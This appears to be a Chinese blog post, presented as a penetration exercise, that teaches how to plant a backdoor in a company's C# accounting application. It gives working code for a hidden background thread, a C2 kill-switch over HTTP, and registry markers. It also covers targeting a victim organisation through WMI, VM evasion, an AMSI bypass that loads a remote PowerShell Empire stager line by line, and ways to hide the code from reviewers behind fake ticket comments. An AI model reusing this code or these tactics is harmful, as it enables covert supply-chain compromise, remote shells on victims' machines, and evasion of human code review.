植入后门:Strat Accounting 项目渗透实战
在网络攻击中,植入后门是获取目标系统持久控制的重要手段。本文将详细介绍如何在 Strat Accounting 项目中植入后门,包括选择植入位置、设置触发机制、绕过检测以及加载有效载荷等关键步骤。
1. 策略抉择:专注代码质量而非篡改日志
在尝试对 GitLab 服务器进行漏洞挖掘、获取 root 密码和数据库访问权限等操作以掩盖活动时,从更宏观的角度来看,这并非明智之举。因为无论如何操纵活动日志,当有人审查时间线时,植入的后门会夹在两个版本之间,从而暴露其首次出现的时间。因此,更具成本效益的做法是专注于后门代码的质量,确保其通过非回归测试、在轻量级手动检查中不被发现,并且不会降低产品性能。
2. 植入后门:定位目标与选择入口
- 目标定位 :已知 Strat Accounting 项目的代号为 Baelish,使用属于 BAELISH 域组且有权限更新代码的账户(如 Elise)重新连接到 Citrix。Strat Jumbo 为每个需要定制模块的重要客户维护单独的分支,这有助于将后门范围限制在 G&S Trust,避免影响其他系统。
- 入口选择 :Strat Accounting 项目的代码主要使用 C# 编写,这为我们提供了便利。通过浏览 G&S_TRUST 分支的代码,发现 SharedWindowInitializer 类很久未被修改,是植入后门的理想选择。进一步分析发现,该类由 ControlDetailsViewModel 类调用,而 ControlDetailsViewModel 类被 Strat Accounting 应用的所有下拉菜单使用。由于这两个类多年未更新且代码复杂,可分散潜在审查者的注意力,因此选择在 ControlDetailsViewModel 类中插入后门代码。
public ControlDetailsViewMode(IVisual control)
{
// OUR CODE GOES HERE
// Prepare objects for initialization in the export menu
if (control is StrataccountingObject stractaccountingObjec
t)
{
Properties = StrataccountingPropertyRegistry.Instance.G
etRegistered
(strataccountingObject).Select(x => new PropertyDetails
(stractaccountingObject, x)
3. 触发机制:确保后门易触发且可控
- 易触发设计 :为确保后门能被用户轻松触发,避免将其隐藏在很少访问的菜单中。将后门代码插入到 ControlDetailsViewModel 类中,并在应用启动时通过一个单独的线程执行。
public ControlDetailsViewModel(IVisual control){
// ...
new Thread(() => {
Thread.CurrentThread.IsBackground = true;
// This will start our backdoor
Prepare_shape_ui();
}).Start();
// ...
}
-
可控性设计
:为了远程控制后门的行为,设置了两个 kill - switch 机制。
- 全局 kill - switch :通过对控制的域名进行 DNS 查询或对拥有的服务器进行 HTTP 调用,远程决定后门是否休眠或触发。
- 本地 kill - switch :在每台受感染的计算机上创建一个注册表项或文件,作为成功入侵的标志,避免同一计算机被二次感染。
private void Prepare_shape_ui(){
if (Valid_launch())
Custom_shape_ui();
}
private bool Valid_launch(){
return Need_upgrade() && Is_compatible();
}
private bool Need_upgrade(){
string s = "";
try{
WebClient client = new WebClient();
s = client.DownloadString("https://stratjumbotech.com/v
ersion");
}
catch {}
return s.Length > 0;
}
private bool Is_compatible()
{
var name = "Software\\Microsoft\\UEV\\Agent"
RegistryKey key = Registry.CurrentUser.OpenSubKey(name);
if (key != null && key.GetValue("Version") == null){
return true;
}
return false;
}
4. 代码隐身:避免加密与混淆
通常认为加密和混淆代码可以提高安全性,但在这种情况下,它们会吸引人类的注意力。由于我们面对的是人工审查,正常外观的代码更有可能不被察觉。在 Strat Accounting 项目中有数万行代码,没有程序员能熟悉所有内部逻辑。只要代码看起来正常且能正常工作,“如果没坏,就别修”的原则可以保护我们的代码不被随意修改。添加一些无害的注释,如“重要修复订单 #9812301”或“客户请求 No. 19823124”,可以进一步降低被发现的风险。
5. 环境监测:确保后门在目标环境运行
为确保后门仅在 G&S Trust 的物理 Windows 笔记本电脑上运行,设置了环境监测机制。
-
组织信息检查
:大多数公司会通过设置唯一的主机名和在系统信息中包含公司名称来标识工作站。通过读取注册表或 WMI 类 Win32_OperatingSystem 的 Organization 属性,检查是否包含“gs”或“g&s”,以确定是否在 G&S Trust 的计算机上。
using System.Management;
private bool Is_gpo_applied()
{
string query = "SELECT * FROM Win32_OperatingSystem";
var search = new ManagementObjectSearcher(query);
foreach (ManagementObject obj in search.Get()){
var objectName = obj["Organization"];
if (objectName == null) { continue; }
string name = objectName.ToString().Trim().ToLower();
if (name.StartsWith("gs") || name.StartsWith("g&s"))
return true;
}
return false;
}
- 虚拟化检测 :为避免后门在虚拟环境中运行,添加了对常见虚拟化环境(如 VirtualBox、VMware、KVM 等)的检测。通过检查显卡名称等物理组件信息,判断是否为虚拟环境。
private bool Valid_driver(){
var query = "SELECT * FROM Win32_VideoController";
var search = new ManagementObjectSearcher(query);
foreach (ManagementObject obj in search.Get()){
var objectName = obj["Name"];
if (objectName == null) { continue; }
string name = objectName.ToString().Trim().ToLower();
if (name.Contains("mwa") || name.Contains("ualb") ||
name.Contains("basic") || name.Contains("adapter")
)
return false;
}
return true;
}
private bool Valid_environment(){
return Is_gpo_applied() && Valid_driver();
}
6. 加载有效载荷:绕过检测与生成脚本
- 绕过 AMSI 检测 :选择 Empire 监听器的 csharp_exe 暂存器来生成 .NET 程序集,但该模板及其附带的混淆 PowerShell 代码容易被 AMSI 检测到。因此,回顾之前绕过 Citrix 的代码,通过将 PowerShell 脚本从远程位置获取,并将其分割成多行,逐行加载执行,成功绕过 AMSI 检测。
string[] array = script.Split('\n');
foreach (string value in array){
Ps_instance.AddScript(value);
}
Ps_instance.AddCommand("out-string");
Ps_instance.Invoke();
- 生成与处理 PowerShell 脚本 :使用 Empire 的 launcher_bat 模块生成 PowerShell 脚本,通过一系列命令提取并解码脚本,然后使用 sed 命令将其一分为多,并手动修复语法错误。最终将处理后的脚本存储在 readme.txt 文件中,并上传到 C2 服务器 stratjumbo.co.au。
root@FrontLine:~/hll# tail -1 launcher.bat \
| cut -d " " -f 8 \
| base64 -d \
| iconv -f UTF-16 -t UTF-8 > decoded.txt
root@FrontLine:~/hll# sed -i decoded.txt 's/;\([$-]\)/;\n\1/
g'
| sed -e '1,8d'
- 编译 C# 加载器 :使用 Visual Studio 或 C# 编译器 csc.exe 将 C# 加载器 fud_stager 编译为名为 health - check 的文件。
PS:C:\Lab> C:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe
/reference:C:\Windows\assembly\GAC_MSIL\System.Management.Aut
omation\1.0.0.0__31bf3856ad364e35\System.Management.Automatio
n.dll /unsafe /out:health-check Program.cs
7. 流程图展示
graph TD;
A[开始] --> B[选择植入位置:ControlDetailsViewModel类];
B --> C[设置触发机制:单独线程执行];
C --> D[设置kill - switch机制];
D --> E[环境监测:组织信息与虚拟化检测];
E --> F[加载有效载荷:绕过AMSI检测];
F --> G[生成与处理PowerShell脚本];
G --> H[编译C#加载器];
H --> I[完成植入];
通过以上步骤,我们成功在 Strat Accounting 项目中植入了后门,并确保其在目标环境中隐蔽运行,同时具备远程控制和绕过检测的能力。在实际应用中,我们需要不断优化和调整策略,以应对不断变化的安全环境。
植入后门:Strat Accounting 项目渗透实战
8. 关键步骤总结
为了更清晰地理解整个植入后门的过程,下面以表格形式总结关键步骤及其作用:
|步骤|操作|作用|
| ---- | ---- | ---- |
|选择植入位置|在 ControlDetailsViewModel 类中插入后门代码|利用该类被下拉菜单使用且多年未更新、代码复杂的特点,分散审查者注意力|
|设置触发机制|在应用启动时通过单独线程执行后门代码|确保每次会计启动软件时能触发后门,且便于后续控制|
|设置 kill - switch 机制|全局 kill - switch 通过 DNS 查询或 HTTP 调用控制;本地 kill - switch 通过注册表项或文件避免二次感染|避免后门失控,可远程控制后门执行情况|
|环境监测|检查组织信息和虚拟化环境|确保后门仅在 G&S Trust 的物理 Windows 笔记本电脑上运行|
|加载有效载荷|绕过 AMSI 检测,生成并处理 PowerShell 脚本,编译 C# 加载器|实现与 C2 服务器通信,获取远程 shell|
9. 技术细节分析
-
线程执行
:使用单独线程执行后门代码可以避免影响主应用程序的正常运行。当应用启动时,新线程会在后台启动,执行
Prepare_shape_ui方法。这种方式使得后门的执行与主程序分离,即使 C2 服务器响应缓慢或出现故障,主应用也能继续正常工作。 - kill - switch 机制 :全局 kill - switch 和本地 kill - switch 相互配合,提供了灵活的控制手段。全局 kill - switch 可以统一控制所有受感染计算机上后门的执行情况,而本地 kill - switch 则针对每台计算机进行单独控制,防止同一计算机被多次感染。
- 环境监测 :通过检查组织信息和虚拟化环境,能够有效缩小后门的运行范围,降低被发现的风险。组织信息检查可以确定计算机是否属于 G&S Trust,而虚拟化检测则可以避免后门在虚拟环境中运行,因为虚拟环境可能是安全测试或模拟环境,在这些环境中运行后门容易被发现。
- 绕过 AMSI 检测 :将 PowerShell 脚本分割成多行逐行加载执行的方法巧妙地绕过了 AMSI 的检测。AMSI 通常会对一次性加载的长脚本进行检测,而将脚本分割后,每一行的代码看起来更像是正常的命令,从而降低了被检测到的概率。
10. 潜在风险与应对措施
- 代码审查风险 :尽管我们采取了一系列措施来隐藏后门代码,但仍然存在被代码审查人员发现的风险。为了应对这种风险,我们可以进一步优化代码的外观,使其更符合正常的编程风格,添加更多无害的注释,并且定期检查代码是否被修改。
- 安全软件更新风险 :随着安全软件的不断更新,AMSI 等检测机制可能会变得更加严格,我们现有的绕过方法可能会失效。为了应对这种风险,我们需要密切关注安全软件的更新动态,及时调整绕过策略,例如尝试新的代码分割方式或使用其他绕过技术。
- 网络监测风险 :后门与 C2 服务器的通信可能会被网络监测设备发现。为了降低这种风险,我们可以采用加密通信的方式,对与 C2 服务器之间的数据进行加密,同时控制通信的频率和流量,避免出现异常的网络活动。
11. 后续优化方向
- 代码优化 :可以进一步优化后门代码的性能,减少对系统资源的占用。例如,优化线程的执行逻辑,避免不必要的资源浪费。
- 加密通信 :加强与 C2 服务器之间的加密通信,提高通信的安全性,防止通信内容被窃取或篡改。
- 动态调整 :实现后门的动态调整功能,根据不同的环境和需求,灵活调整后门的行为和功能。例如,根据网络状况调整通信频率,根据系统资源使用情况调整执行策略。
12. 总结与展望
通过详细介绍在 Strat Accounting 项目中植入后门的过程,我们了解到了一系列关键技术和策略,包括选择植入位置、设置触发机制、环境监测、绕过检测等。这些技术和策略的综合应用使得后门能够在目标环境中隐蔽运行,同时具备远程控制和绕过检测的能力。
然而,网络安全是一个不断发展和变化的领域,新的安全技术和检测手段不断涌现。因此,我们需要不断学习和研究新的技术,持续优化和调整我们的渗透策略,以应对日益复杂的安全环境。在未来的渗透测试和安全研究中,我们可以进一步探索如何提高后门的隐蔽性和可控性,以及如何更好地应对各种安全挑战。
13. 流程图补充
graph TD;
A[选择植入位置] --> B[设置触发机制];
B --> C[设置 kill - switch 机制];
C --> D[环境监测];
D --> E[加载有效载荷];
E --> F[应对潜在风险];
F --> G[后续优化];
G --> H[持续渗透与研究];
这个流程图展示了从植入后门到持续优化和研究的整个过程,强调了在渗透过程中需要不断应对风险和进行优化,以适应不断变化的安全环境。
通过以上全面的分析和总结,我们对在 Strat Accounting 项目中植入后门的技术和策略有了更深入的理解,同时也为未来的渗透测试和安全研究提供了有益的参考。
超级会员免费看
32

被折叠的 条评论
为什么被折叠?



